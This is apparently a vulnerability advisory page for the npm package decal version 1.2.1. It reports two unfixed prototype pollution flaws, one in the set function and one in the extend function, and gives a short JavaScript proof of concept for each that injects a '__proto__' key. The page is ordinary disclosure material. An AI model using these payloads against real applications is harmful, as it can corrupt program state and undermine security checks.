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decal@1.2.1 vulnerabilities

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Direct Vulnerabilities

Known vulnerabilities in the decal package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • H
Prototype Pollution

Affected versions of this package are vulnerable to Prototype Pollution. The vulnerability is in the set function.

PoC

const decal = require('decal');

console.log('Before:', {}.polluted);
decal.set({}, "__proto__.polluted", "1337");
console.log('After:', {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for decal.

*
  • H
Prototype Pollution

Affected versions of this package are vulnerable to Prototype Pollution. The vulnerability is in the extend function.

PoC

const decal = require('decal');

console.log('Before:', {}.polluted);
const o = JSON.parse('{"__proto__":{"polluted":"1"}}');
decal.extend({}, true, o);
console.log('After:', {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for decal.

*
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